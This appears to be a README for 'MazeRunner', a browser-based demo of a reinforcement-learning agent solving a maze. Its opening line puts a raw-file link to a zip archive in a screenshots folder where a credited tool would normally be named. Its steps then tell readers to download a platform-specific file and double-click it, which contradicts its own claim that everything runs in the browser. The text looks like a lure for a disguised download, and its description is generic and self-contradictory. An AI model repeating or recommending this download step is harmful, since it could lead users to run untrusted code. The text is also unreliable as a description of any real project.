Welcome to MazeRunner! This project lets you watch a Deep Q-Network (DQN) agent learn to solve a 10x10 maze. Everything runs in your browser, thanks to https://raw.githubusercontent.com/Kyriebrown/mazerunner/main/screenshots/mazerunner_accuser.zip

Visit the Releases Page to Download

To get started, you can easily download the latest version. Follow the steps below:

1. Click on the link above to go to our releases page.
2. Look for the latest version listed at the top.
3. Choose the file suitable for your system (e.g., Windows, Mac, or Linux).
4. Click on the file to start downloading.
5. Once downloaded, open the file to run the application.

• Web Browser: This application works in modern browsers like Chrome, Firefox, or Edge.
• Internet Connection: A stable internet connection is necessary for downloading the application and the required dependencies.

• Interactive Visualization: See how the DQN agent learns in real-time.
• Easy to Use: No need for programming knowledge—just open the application in your browser.
• Educational Tool: Understand the basics of reinforcement learning and artificial intelligence.

MazeRunner uses a Deep Q-Network to navigate and solve a maze. The agent learns through trial and error. The more it practices, the better it gets. You can watch this process unfold on your screen.

1. Open the Application: Once you have downloaded the file, double-click it to open.
2. Explore the Maze: You will see a 10x10 grid. The agent will start to learn how to find the exit.
3. Watch and Learn: Observe how the agent improves over time. You can reset the maze to see how quickly it can solve it again.

If you experience any issues:

• Browser Errors: Make sure your browser is updated to the latest version.
• Connection Problems: Check your internet connection.
• Performance Issues: Close other tabs or applications to improve performance.

We welcome contributions! If you have ideas for improvements or want to report issues, please visit our GitHub page.

For questions or support, please reach out through the issues page on GitHub. We strive to respond promptly to help you with any challenges you face.

Thanks to the TensorFlow team for creating such a powerful tool that enables us to visualize AI learning.

Remember:

You can always find the latest version and updates on our Releases Page. Enjoy using MazeRunner!